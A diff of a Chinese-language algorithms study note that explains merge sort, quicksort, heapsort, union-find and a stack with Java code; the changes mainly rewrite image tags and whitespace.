+希尔排序的运行时间达不到平方级别，使用递增序列 1, 4, 13, 40, ...  的希尔排序所需要的比较次数不会超过 N 的若干倍乘于递增序列的长度。后面介绍的高级排序算法只会比希尔排序快两倍左右。
 
-## 归并排序
+## 归并排序
 
 归并排序的思想是将数组分成两部分，分别进行排序，然后归并起来。
 
-<div align="center"> <img src="pics/220790c6-4377-4a2e-8686-58398afc8a18.png" width="350"/> </div><br>
+<img src="index_files/220790c6-4377-4a2e-8686-58398afc8a18.png" width="350"/>
 
-### 1. 归并方法
+### 1. 归并方法
 
 归并方法将数组中两个已经排序的部分归并成一个。
 
 ```java
-public abstract class MergeSort<T extends Comparable<T>> extends Sort<T> {
+public abstract class MergeSort<T extends Comparable<T>> extends Sort<T> {
 
-    protected T[] aux;
+    protected T[] aux;
 
 
-    protected void merge(T[] nums, int l, int m, int h) {
+    protected void merge(T[] nums, int l, int m, int h) {
 
-        int i = l, j = m + 1;
+        int i = l, j = m + 1;
 
-        for (int k = l; k <= h; k++) {
-            aux[k] = nums[k]; // 将数据复制到辅助数组
-        }
+        for (int k = l; k <= h; k++) {
+            aux[k] = nums[k]; // 将数据复制到辅助数组
+        }
 
-        for (int k = l; k <= h; k++) {
-            if (i > m) {
-                nums[k] = aux[j++];
+        for (int k = l; k <= h; k++) {
+            if (i > m) {
+                nums[k] = aux[j++];
 
-            } else if (j > h) {
-                nums[k] = aux[i++];
+            } else if (j > h) {
+                nums[k] = aux[i++];
 
-            } else if (aux[i].compareTo(nums[j]) <= 0) {
-                nums[k] = aux[i++]; // 先进行这一步，保证稳定性
+            } else if (aux[i].compareTo(nums[j]) <= 0) {
+                nums[k] = aux[i++]; // 先进行这一步，保证稳定性
 
-            } else {
-                nums[k] = aux[j++];
-            }
-        }
-    }
+            } else {
+                nums[k] = aux[j++];
+            }
+        }
+    }
 }
 ```
 
-### 2. 自顶向下归并排序
+### 2. 自顶向下归并排序
 
 将一个大数组分成两个小数组去求解。
 
-因为每次都将问题对半分成两个子问题，这种对半分的算法复杂度一般为 O(NlogN)。
+因为每次都将问题对半分成两个子问题，这种对半分的算法复杂度一般为 O(NlogN)。
 
 ```java
-public class Up2DownMergeSort<T extends Comparable<T>> extends MergeSort<T> {
+public class Up2DownMergeSort<T extends Comparable<T>> extends MergeSort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        aux = (T[]) new Comparable[nums.length];
-        sort(nums, 0, nums.length - 1);
-    }
+    @Override
+    public void sort(T[] nums) {
+        aux = (T[]) new Comparable[nums.length];
+        sort(nums, 0, nums.length - 1);
+    }
 
-    private void sort(T[] nums, int l, int h) {
-        if (h <= l) {
-            return;
-        }
-        int mid = l + (h - l) / 2;
-        sort(nums, l, mid);
-        sort(nums, mid + 1, h);
-        merge(nums, l, mid, h);
-    }
+    private void sort(T[] nums, int l, int h) {
+        if (h <= l) {
+            return;
+        }
+        int mid = l + (h - l) / 2;
+        sort(nums, l, mid);
+        sort(nums, mid + 1, h);
+        merge(nums, l, mid, h);
+    }
 }
 ```
 
-### 3. 自底向上归并排序
+### 3. 自底向上归并排序
 
 先归并那些微型数组，然后成对归并得到的微型数组。
 
 ```java
-public class Down2UpMergeSort<T extends Comparable<T>> extends MergeSort<T> {
+public class Down2UpMergeSort<T extends Comparable<T>> extends MergeSort<T> {
 
-    @Override
-    public void sort(T[] nums) {
+    @Override
+    public void sort(T[] nums) {
 
-        int N = nums.length;
-        aux = (T[]) new Comparable[N];
+        int N = nums.length;
+        aux = (T[]) new Comparable[N];
 
-        for (int sz = 1; sz < N; sz += sz) {
-            for (int lo = 0; lo < N - sz; lo += sz + sz) {
-                merge(nums, lo, lo + sz - 1, Math.min(lo + sz + sz - 1, N - 1));
-            }
-        }
-    }
+        for (int sz = 1; sz < N; sz += sz) {
+            for (int lo = 0; lo < N - sz; lo += sz + sz) {
+                merge(nums, lo, lo + sz - 1, Math.min(lo + sz + sz - 1, N - 1));
+            }
+        }
+    }
 }
 
 ```
 
-## 快速排序
+## 快速排序
 
-### 1. 基本算法
+### 1. 基本算法
 
-- 归并排序将数组分为两个子数组分别排序，并将有序的子数组归并使得整个数组排序；
-- 快速排序通过一个切分元素将数组分为两个子数组，左子数组小于等于切分元素，右子数组大于等于切分元素，将这两个子数组排序也就将整个数组排序了。
+- 归并排序将数组分为两个子数组分别排序，并将有序的子数组归并使得整个数组排序；
+- 快速排序通过一个切分元素将数组分为两个子数组，左子数组小于等于切分元素，右子数组大于等于切分元素，将这两个子数组排序也就将整个数组排序了。
 
-<div align="center"> <img src="pics/f8047846-efd4-42be-b6b7-27a7c4998b51.png" width="500"/> </div><br>
+<img src="index_files/f8047846-efd4-42be-b6b7-27a7c4998b51.png" width="500"/>
 
 ```java
-public class QuickSort<T extends Comparable<T>> extends Sort<T> {
+public class QuickSort<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        shuffle(nums);
-        sort(nums, 0, nums.length - 1);
-    }
+    @Override
+    public void sort(T[] nums) {
+        shuffle(nums);
+        sort(nums, 0, nums.length - 1);
+    }
 
-    private void sort(T[] nums, int l, int h) {
-        if (h <= l)
-            return;
-        int j = partition(nums, l, h);
-        sort(nums, l, j - 1);
-        sort(nums, j + 1, h);
-    }
+    private void sort(T[] nums, int l, int h) {
+        if (h <= l)
+            return;
+        int j = partition(nums, l, h);
+        sort(nums, l, j - 1);
+        sort(nums, j + 1, h);
+    }
 
-    private void shuffle(T[] nums) {
-        List<Comparable> list = Arrays.asList(nums);
-        Collections.shuffle(list);
-        list.toArray(nums);
-    }
+    private void shuffle(T[] nums) {
+        List<Comparable> list = Arrays.asList(nums);
+        Collections.shuffle(list);
+        list.toArray(nums);
+    }
 }
 ```
 
-### 2. 切分
+### 2. 切分
 
-取 a[l] 作为切分元素，然后从数组的左端向右扫描直到找到第一个大于等于它的元素，再从数组的右端向左扫描找到第一个小于它的元素，交换这两个元素。不断进行这个过程，就可以保证左指针 i 的左侧元素都不大于切分元素，右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时，将切分元素 a[l] 和 a[j] 交换位置。
+取 a[l] 作为切分元素，然后从数组的左端向右扫描直到找到第一个大于等于它的元素，再从数组的右端向左扫描找到第一个小于它的元素，交换这两个元素。不断进行这个过程，就可以保证左指针 i 的左侧元素都不大于切分元素，右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时，将切分元素 a[l] 和 a[j] 交换位置。
 
-<div align="center"> <img src="pics/766aedd0-1b00-4065-aa2b-7d31138df84f.png" width="400"/> </div><br>
+<img src="index_files/766aedd0-1b00-4065-aa2b-7d31138df84f.png" width="400"/>
 
 ```java
-private int partition(T[] nums, int l, int h) {
-    int i = l, j = h + 1;
-    T v = nums[l];
-    while (true) {
-        while (less(nums[++i], v) && i != h) ;
-        while (less(v, nums[--j]) && j != l) ;
-        if (i >= j)
-            break;
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(T[] nums, int l, int h) {
+    int i = l, j = h + 1;
+    T v = nums[l];
+    while (true) {
+        while (less(nums[++i], v) && i != h) ;
+        while (less(v, nums[--j]) && j != l) ;
+        if (i >= j)
+            break;
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 ```
 
-### 3. 性能分析
+### 3. 性能分析
 
 快速排序是原地排序，不需要辅助数组，但是递归调用需要辅助栈。
 
-快速排序最好的情况下是每次都正好将数组对半分，这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N，复杂度为 O(NlogN)。
+快速排序最好的情况下是每次都正好将数组对半分，这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N，复杂度为 O(NlogN)。
 
-最坏的情况下，第一次从最小的元素切分，第二次从第二小的元素切分，如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的，在进行快速排序时需要随机打乱数组。
+最坏的情况下，第一次从最小的元素切分，第二次从第二小的元素切分，如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的，在进行快速排序时需要随机打乱数组。
 
-### 4. 算法改进
+### 4. 算法改进
 
-#### 4.1 切换到插入排序
+#### 4.1 切换到插入排序
 
 因为快速排序在小数组中也会递归调用自己，对于小数组，插入排序比快速排序的性能更好，因此在小数组中可以切换到插入排序。
 
-#### 4.2 三数取中
+#### 4.2 三数取中
 
-最好的情况下是每次都能取数组的中位数作为切分元素，但是计算中位数的代价很高。一种折中方法是取 3 个元素，并将大小居中的元素作为切分元素。
+最好的情况下是每次都能取数组的中位数作为切分元素，但是计算中位数的代价很高。一种折中方法是取 3 个元素，并将大小居中的元素作为切分元素。
 
-#### 4.3 三向切分
+#### 4.3 三向切分
 
 对于有大量重复元素的数组，可以将数组切分为三部分，分别对应小于、等于和大于切分元素。
 
 三向切分快速排序对于有大量重复元素的随机数组可以在线性时间内完成排序。
 
 ```java
-public class ThreeWayQuickSort<T extends Comparable<T>> extends QuickSort<T> {
+public class ThreeWayQuickSort<T extends Comparable<T>> extends QuickSort<T> {
 
-    @Override
-    protected void sort(T[] nums, int l, int h) {
-        if (h <= l) {
-            return;
-        }
-        int lt = l, i = l + 1, gt = h;
-        T v = nums[l];
-        while (i <= gt) {
-            int cmp = nums[i].compareTo(v);
-            if (cmp < 0) {
-                swap(nums, lt++, i++);
-            } else if (cmp > 0) {
-                swap(nums, i, gt--);
-            } else {
-                i++;
-            }
-        }
-        sort(nums, l, lt - 1);
-        sort(nums, gt + 1, h);
-    }
+    @Override
+    protected void sort(T[] nums, int l, int h) {
+        if (h <= l) {
+            return;
+        }
+        int lt = l, i = l + 1, gt = h;
+        T v = nums[l];
+        while (i <= gt) {
+            int cmp = nums[i].compareTo(v);
+            if (cmp < 0) {
+                swap(nums, lt++, i++);
+            } else if (cmp > 0) {
+                swap(nums, i, gt--);
+            } else {
+                i++;
+            }
+        }
+        sort(nums, l, lt - 1);
+        sort(nums, gt + 1, h);
+    }
 }
 ```
 
-### 5. 基于切分的快速选择算法
+### 5. 基于切分的快速选择算法
 
-快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。
+快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。
 
-可以利用这个特性找出数组的第 k 个元素。
+可以利用这个特性找出数组的第 k 个元素。
 
-该算法是线性级别的，假设每次能将数组二分，那么比较的总次数为 (N+N/2+N/4+..)，直到找到第 k 个元素，这个和显然小于 2N。
+该算法是线性级别的，假设每次能将数组二分，那么比较的总次数为 (N+N/2+N/4+..)，直到找到第 k 个元素，这个和显然小于 2N。
 
 ```java
-public T select(T[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (h > l) {
-        int j = partition(nums, l, h);
+public T select(T[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (h > l) {
+        int j = partition(nums, l, h);
 
-        if (j == k) {
-            return nums[k];
+        if (j == k) {
+            return nums[k];
 
-        } else if (j > k) {
-            h = j - 1;
+        } else if (j > k) {
+            h = j - 1;
 
-        } else {
-            l = j + 1;
-        }
-    }
-    return nums[k];
+        } else {
+            l = j + 1;
+        }
+    }
+    return nums[k];
 }
 ```
 
-## 堆排序
+## 堆排序
 
-### 1. 堆
+### 1. 堆
 
 堆中某个节点的值总是大于等于其子节点的值，并且堆是一颗完全二叉树。
 
-堆可以用数组来表示，这是因为堆是完全二叉树，而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2，而它的两个子节点的位置分别为 2k 和 2k+1。这里不使用数组索引为 0 的位置，是为了更清晰地描述节点的位置关系。
+堆可以用数组来表示，这是因为堆是完全二叉树，而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2，而它的两个子节点的位置分别为 2k 和 2k+1。这里不使用数组索引为 0 的位置，是为了更清晰地描述节点的位置关系。
 
-<div align="center"> <img src="pics/f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
+<img src="index_files/f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/>
 
 ```java
-public class Heap<T extends Comparable<T>> {
+public class Heap<T extends Comparable<T>> {
 
-    private T[] heap;
-    private int N = 0;
+    private T[] heap;
+    private int N = 0;
 
-    public Heap(int maxN) {
-        this.heap = (T[]) new Comparable[maxN + 1];
-    }
+    public Heap(int maxN) {
+        this.heap = (T[]) new Comparable[maxN + 1];
+    }
 
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
-    public int size() {
-        return N;
-    }
+    public int size() {
+        return N;
+    }
 
-    private boolean less(int i, int j) {
-        return heap[i].compareTo(heap[j]) < 0;
-    }
+    private boolean less(int i, int j) {
+        return heap[i].compareTo(heap[j]) < 0;
+    }
 
-    private void swap(int i, int j) {
-        T t = heap[i];
-        heap[i] = heap[j];
-        heap[j] = t;
-    }
+    private void swap(int i, int j) {
+        T t = heap[i];
+        heap[i] = heap[j];
+        heap[j] = t;
+    }
 }
 ```
 
-### 2. 上浮和下沉
+### 2. 上浮和下沉
 
 在堆中，当一个节点比父节点大，那么需要交换这个两个节点。交换后还可能比它新的父节点大，因此需要不断地进行比较和交换操作，把这种操作称为上浮。
 
-<div align="center"> <img src="pics/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/> </div><br>
+<img src="index_files/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/>
 
 ```java
-private void swim(int k) {
-    while (k > 1 && less(k / 2, k)) {
-        swap(k / 2, k);
-        k = k / 2;
-    }
+private void swim(int k) {
+    while (k > 1 && less(k / 2, k)) {
+        swap(k / 2, k);
+        k = k / 2;
+    }
 }
 ```
 
 类似地，当一个节点比子节点来得小，也需要不断地向下进行比较和交换操作，把这种操作称为下沉。一个节点如果有两个子节点，应当与两个子节点中最大那个节点进行交换。
 
-<div align="center"> <img src="pics/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/> </div><br>
+<img src="index_files/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/>
 
 ```java
-private void sink(int k) {
-    while (2 * k <= N) {
-        int j = 2 * k;
-        if (j < N && less(j, j + 1))
-            j++;
-        if (!less(k, j))
-            break;
-        swap(k, j);
-        k = j;
-    }
+private void sink(int k) {
+    while (2 * k <= N) {
+        int j = 2 * k;
+        if (j < N && less(j, j + 1))
+            j++;
+        if (!less(k, j))
+            break;
+        swap(k, j);
+        k = j;
+    }
 }
 ```
 
-### 3. 插入元素
+### 3. 插入元素
 
 将新元素放到数组末尾，然后上浮到合适的位置。
 
 ```java
-public void insert(Comparable v) {
-    heap[++N] = v;
-    swim(N);
+public void insert(Comparable v) {
+    heap[++N] = v;
+    swim(N);
 }
 ```
 
-### 4. 删除最大元素
+### 4. 删除最大元素
 
 从数组顶端删除最大的元素，并将数组的最后一个元素放到顶端，并让这个元素下沉到合适的位置。
 
 ```java
-public T delMax() {
-    T max = heap[1];
-    swap(1, N--);
-    heap[N + 1] = null;
-    sink(1);
-    return max;
+public T delMax() {
+    T max = heap[1];
+    swap(1, N--);
+    heap[N + 1] = null;
+    sink(1);
+    return max;
 }
 ```
 
-### 5. 堆排序
+### 5. 堆排序
 
 把最大元素和当前堆中数组的最后一个元素交换位置，并且不删除它，那么就可以得到一个从尾到头的递减序列，从正向来看就是一个递增序列，这就是堆排序。
 
-#### 5.1 构建堆
+#### 5.1 构建堆
 
 无序数组建立堆最直接的方法是从左到右遍历数组进行上浮操作。一个更高效的方法是从右至左进行下沉操作，如果一个节点的两个节点都已经是堆有序，那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作，可以忽略叶子节点的元素，因此只需要遍历一半的元素即可。
 
-<div align="center"> <img src="pics/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
+<img src="index_files/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/>
 
-#### 5.2 交换堆顶元素与最后一个元素
+#### 5.2 交换堆顶元素与最后一个元素
 
 交换之后需要进行下沉操作维持堆的有序状态。
 
-<div align="center"> <img src="pics/51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="270"/> </div><br>
+<img src="index_files/51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="270"/>
 
-<div align="center"> <img src="pics/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png" width="350"/> </div><br>
+<img src="index_files/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png" width="350"/>
 
 ```java
-public class HeapSort<T extends Comparable<T>> extends Sort<T> {
-    /**
-     * 数组第 0 个位置不能有元素
-     */
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length - 1;
-        for (int k = N / 2; k >= 1; k--)
-            sink(nums, k, N);
+public class HeapSort<T extends Comparable<T>> extends Sort<T> {
+    /**
+     * 数组第 0 个位置不能有元素
+     */
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length - 1;
+        for (int k = N / 2; k >= 1; k--)
+            sink(nums, k, N);
 
-        while (N > 1) {
-            swap(nums, 1, N--);
-            sink(nums, 1, N);
-        }
-    }
+        while (N > 1) {
+            swap(nums, 1, N--);
+            sink(nums, 1, N);
+        }
+    }
 
-    private void sink(T[] nums, int k, int N) {
-        while (2 * k <= N) {
-            int j = 2 * k;
-            if (j < N && less(nums, j, j + 1))
-                j++;
-            if (!less(nums, k, j))
-                break;
-            swap(nums, k, j);
-            k = j;
-        }
-    }
+    private void sink(T[] nums, int k, int N) {
+        while (2 * k <= N) {
+            int j = 2 * k;
+            if (j < N && less(nums, j, j + 1))
+                j++;
+            if (!less(nums, k, j))
+                break;
+            swap(nums, k, j);
+            k = j;
+        }
+    }
 
-    private boolean less(T[] nums, int i, int j) {
-        return nums[i].compareTo(nums[j]) < 0;
-    }
+    private boolean less(T[] nums, int i, int j) {
+        return nums[i].compareTo(nums[j]) < 0;
+    }
 }
 ```
 
-### 6. 分析
+### 6. 分析
 
-一个堆的高度为 logN，因此在堆中插入元素和删除最大元素的复杂度都为 logN。
+一个堆的高度为 logN，因此在堆中插入元素和删除最大元素的复杂度都为 logN。
 
-对于堆排序，由于要对 N 个节点进行下沉操作，因此复杂度为 NlogN。
+对于堆排序，由于要对 N 个节点进行下沉操作，因此复杂度为 NlogN。
 
 堆排序是一种原地排序，没有利用额外的空间。
 
 现代操作系统很少使用堆排序，因为它无法利用局部性原理进行缓存，也就是数组元素很少和相邻的元素进行比较和交换。
 
-## 小结
+## 小结
 
-### 1. 排序算法的比较
+### 1. 排序算法的比较
 
-| 算法 | 稳定性 | 时间复杂度 | 空间复杂度 | 备注 |
-| :---: | :---: |:---: | :---: | :---: |
-| 选择排序 | × | N<sup>2</sup> | 1 | |
-| 冒泡排序 | √ |  N<sup>2</sup> | 1 | |
-| 插入排序 | √ |  N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
-| 希尔排序 | ×  |  N 的若干倍乘于递增序列的长度 | 1 | 改进版插入排序 |
-| 快速排序 | ×  | NlogN | logN | |
-| 三向切分快速排序 | ×  |  N \~ NlogN | logN | 适用于有大量重复主键|
-| 归并排序 | √ |  NlogN | N | |
-| 堆排序 | ×  |  NlogN | 1 | 无法利用局部性原理|
+| 算法 | 稳定性 | 时间复杂度 | 空间复杂度 | 备注 |
+| :---: | :---: |:---: | :---: | :---: |
+| 选择排序 | × | N<sup>2</sup> | 1 | |
+| 冒泡排序 | √ |  N<sup>2</sup> | 1 | |
+| 插入排序 | √ |  N ~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
+| 希尔排序 | ×  |  N 的若干倍乘于递增序列的长度 | 1 | 改进版插入排序 |
+| 快速排序 | ×  | NlogN | logN | |
+| 三向切分快速排序 | ×  |  N ~ NlogN | logN | 适用于有大量重复主键|
+| 归并排序 | √ |  NlogN | N | |
+| 堆排序 | ×  |  NlogN | 1 | 无法利用局部性原理|
 
-快速排序是最快的通用排序算法，它的内循环的指令很少，而且它还能利用缓存，因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN，这里的 c 比其它线性对数级别的排序算法都要小。
+快速排序是最快的通用排序算法，它的内循环的指令很少，而且它还能利用缓存，因为它总是顺序地访问数据。它的运行时间近似为 ~cNlogN，这里的 c 比其它线性对数级别的排序算法都要小。
 
 使用三向切分快速排序，实际应用中可能出现的某些分布的输入能够达到线性级别，而其它排序算法仍然需要线性对数时间。
 
-### 2. Java 的排序算法实现
+### 2. Java 的排序算法实现
 
-Java 主要排序方法为 java.util.Arrays.sort()，对于原始数据类型使用三向切分的快速排序，对于引用类型使用归并排序。
+Java 主要排序方法为 java.util.Arrays.sort()，对于原始数据类型使用三向切分的快速排序，对于引用类型使用归并排序。
 
-# 四、并查集
+# 四、并查集
 
 用于解决动态连通性问题，能动态连接两个点，并且判断两个点是否连通。
 
-<div align="center"> <img src="pics/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
+<img src="index_files/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/>
 
-| 方法 | 描述 |
-| :---: | :---: |
-| UF(int N) | 构造一个大小为 N 的并查集 |
-| void union(int p, int q) | 连接 p 和 q 节点 |
-| int find(int p) | 查找 p 所在的连通分量编号 |
-| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
+| 方法 | 描述 |
+| :---: | :---: |
+| UF(int N) | 构造一个大小为 N 的并查集 |
+| void union(int p, int q) | 连接 p 和 q 节点 |
+| int find(int p) | 查找 p 所在的连通分量编号 |
+| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
 
 ```java
-public abstract class UF {
+public abstract class UF {
 
-    protected int[] id;
+    protected int[] id;
 
-    public UF(int N) {
-        id = new int[N];
-        for (int i = 0; i < N; i++) {
-            id[i] = i;
-        }
-    }
+    public UF(int N) {
+        id = new int[N];
+        for (int i = 0; i < N; i++) {
+            id[i] = i;
+        }
+    }
 
-    public boolean connected(int p, int q) {
-        return find(p) == find(q);
-    }
+    public boolean connected(int p, int q) {
+        return find(p) == find(q);
+    }
 
-    public abstract int find(int p);
+    public abstract int find(int p);
 
-    public abstract void union(int p, int q);
+    public abstract void union(int p, int q);
 }
 ```
 
-## Quick Find
+## Quick Find
 
-可以快速进行 find 操作，也就是可以快速判断两个节点是否连通。
+可以快速进行 find 操作，也就是可以快速判断两个节点是否连通。
 
-需要保证同一连通分量的所有节点的 id 值相等。
+需要保证同一连通分量的所有节点的 id 值相等。
 
-但是 union 操作代价却很高，需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
+但是 union 操作代价却很高，需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
 
-<div align="center"> <img src="pics/8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/> </div><br>
+<img src="index_files/8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/>
 
 ```java
-public class QuickFindUF extends UF {
+public class QuickFindUF extends UF {
 
-    public QuickFindUF(int N) {
-        super(N);
-    }
+    public QuickFindUF(int N) {
+        super(N);
+    }
 
 
-    @Override
-    public int find(int p) {
-        return id[p];
-    }
+    @Override
+    public int find(int p) {
+        return id[p];
+    }
 
 
-    @Override
-    public void union(int p, int q) {
-        int pID = find(p);
-        int qID = find(q);
+    @Override
+    public void union(int p, int q) {
+        int pID = find(p);
+        int qID = find(q);
 
-        if (pID == qID) {
-            return;
-        }
+        if (pID == qID) {
+            return;
+        }
 
-        for (int i = 0; i < id.length; i++) {
-            if (id[i] == pID) {
-                id[i] = qID;
-            }
-        }
-    }
+        for (int i = 0; i < id.length; i++) {
+            if (id[i] == pID) {
+                id[i] = qID;
+            }
+        }
+    }
 }
 ```
 
-## Quick Union
+## Quick Union
 
-可以快速进行 union 操作，只需要修改一个节点的 id 值即可。
+可以快速进行 union 操作，只需要修改一个节点的 id 值即可。
 
-但是 find 操作开销很大，因为同一个连通分量的节点 id 值不同，id 值只是用来指向另一个节点。因此需要一直向上查找操作，直到找到最上层的节点。
+但是 find 操作开销很大，因为同一个连通分量的节点 id 值不同，id 值只是用来指向另一个节点。因此需要一直向上查找操作，直到找到最上层的节点。
 
-<div align="center"> <img src="pics/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/> </div><br>
+<img src="index_files/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/>
 
 ```java
-public class QuickUnionUF extends UF {
+public class QuickUnionUF extends UF {
 
-    public QuickUnionUF(int N) {
-        super(N);
-    }
+    public QuickUnionUF(int N) {
+        super(N);
+    }
 
 
-    @Override
-    public int find(int p) {
-        while (p != id[p]) {
-            p = id[p];
-        }
-        return p;
-    }
+    @Override
+    public int find(int p) {
+        while (p != id[p]) {
+            p = id[p];
+        }
+        return p;
+    }
 
 
-    @Override
-    public void union(int p, int q) {
-        int pRoot = find(p);
-        int qRoot = find(q);
+    @Override
+    public void union(int p, int q) {
+        int pRoot = find(p);
+        int qRoot = find(q);
 
-        if (pRoot != qRoot) {
-            id[pRoot] = qRoot;
-        }
-    }
+        if (pRoot != qRoot) {
+            id[pRoot] = qRoot;
+        }
+    }
 }
 ```
 
-这种方法可以快速进行 union 操作，但是 find 操作和树高成正比，最坏的情况下树的高度为节点的数目。
+这种方法可以快速进行 union 操作，但是 find 操作和树高成正比，最坏的情况下树的高度为节点的数目。
 
-<div align="center"> <img src="pics/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="130"/> </div><br>
+<img src="index_files/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="130"/>
 
-## 加权 Quick Union
+## 加权 Quick Union
 
-为了解决 quick-union 的树通常会很高的问题，加权 quick-union 在 union 操作时会让较小的树连接较大的树上面。
+为了解决 quick-union 的树通常会很高的问题，加权 quick-union 在 union 操作时会让较小的树连接较大的树上面。
 
-理论研究证明，加权 quick-union 算法构造的树深度最多不超过 logN。
+理论研究证明，加权 quick-union 算法构造的树深度最多不超过 logN。
 
-<div align="center"> <img src="pics/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="170"/> </div><br>
+<img src="index_files/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png" width="170"/>
 
 ```java
-public class WeightedQuickUnionUF extends UF {
+public class WeightedQuickUnionUF extends UF {
 
-    // 保存节点的数量信息
-    private int[] sz;
+    // 保存节点的数量信息
+    private int[] sz;
 
 
-    public WeightedQuickUnionUF(int N) {
-        super(N);
-        this.sz = new int[N];
-        for (int i = 0; i < N; i++) {
-            this.sz[i] = 1;
-        }
-    }
+    public WeightedQuickUnionUF(int N) {
+        super(N);
+        this.sz = new int[N];
+        for (int i = 0; i < N; i++) {
+            this.sz[i] = 1;
+        }
+    }
 
 
-    @Override
-    public int find(int p) {
-        while (p != id[p]) {
-            p = id[p];
-        }
-        return p;
-    }
+    @Override
+    public int find(int p) {
+        while (p != id[p]) {
+            p = id[p];
+        }
+        return p;
+    }
 
 
-    @Override
-    public void union(int p, int q) {
+    @Override
+    public void union(int p, int q) {
 
-        int i = find(p);
-        int j = find(q);
+        int i = find(p);
+        int j = find(q);
 
-        if (i == j) return;
+        if (i == j) return;
 
-        if (sz[i] < sz[j]) {
-            id[i] = j;
-            sz[j] += sz[i];
-        } else {
-            id[j] = i;
-            sz[i] += sz[j];
-        }
-    }
+        if (sz[i] < sz[j]) {
+            id[i] = j;
+            sz[j] += sz[i];
+        } else {
+            id[j] = i;
+            sz[i] += sz[j];
+        }
+    }
 }
 ```
 
-## 路径压缩的加权 Quick Union
+## 路径压缩的加权 Quick Union
 
-在检查节点的同时将它们直接链接到根节点，只需要在 find 中添加一个循环即可。
+在检查节点的同时将它们直接链接到根节点，只需要在 find 中添加一个循环即可。
 
-## 比较
+## 比较
 
-| 算法 | union | find |
-| :---: | :---: | :---: |
-| Quick Find | N | 1 |
-| Quick Union | 树高 | 树高 |
-| 加权 Quick Union | logN | logN |
-| 路径压缩的加权 Quick Union | 非常接近 1 | 非常接近 1 |
+| 算法 | union | find |
+| :---: | :---: | :---: |
+| Quick Find | N | 1 |
+| Quick Union | 树高 | 树高 |
+| 加权 Quick Union | logN | logN |
+| 路径压缩的加权 Quick Union | 非常接近 1 | 非常接近 1 |
 
-# 五、栈和队列
+# 五、栈和队列
 
-## 栈
+## 栈
 
 ```java
-public interface MyStack<Item> extends Iterable<Item> {
+public interface MyStack<Item> extends Iterable<Item> {
 
-    MyStack<Item> push(Item item);
+    MyStack<Item> push(Item item);
 
-    Item pop() throws Exception;
+    Item pop() throws Exception;
 
-    boolean isEmpty();
+    boolean isEmpty();
 
-    int size();
+    int size();
 
 }
 ```
 
-### 1. 数组实现
+### 1. 数组实现
 
 ```java
-public class ArrayStack<Item> implements MyStack<Item> {
+public class ArrayStack<Item> implements MyStack<Item> {
 
-    // 栈元素数组，只能通过转型来创建泛型数组
-    private Item[] a = (Item[]) new Object[1];
+    // 栈元素数组，只能通过转型来创建泛型数组
+    private Item[] a = (Item[]) new Object[1];
 
-    // 元素数量
-    private int N = 0;
+    // 元素数量
+    private int N = 0;
 
 
-    @Override
-    public MyStack<Item> push(Item item) {
-        check();
-        a[N++] = item;
-        return this;
-    }
+    @Override
+    public MyStack<Item> push(Item item) {
+        check();
+        a[N++] = item;
+        return this;
+    }
 
 
-    @Override
-    public Item pop() throws Exception {
+    @Override
+    public Item pop() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("stack is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("stack is empty");
+        }
 
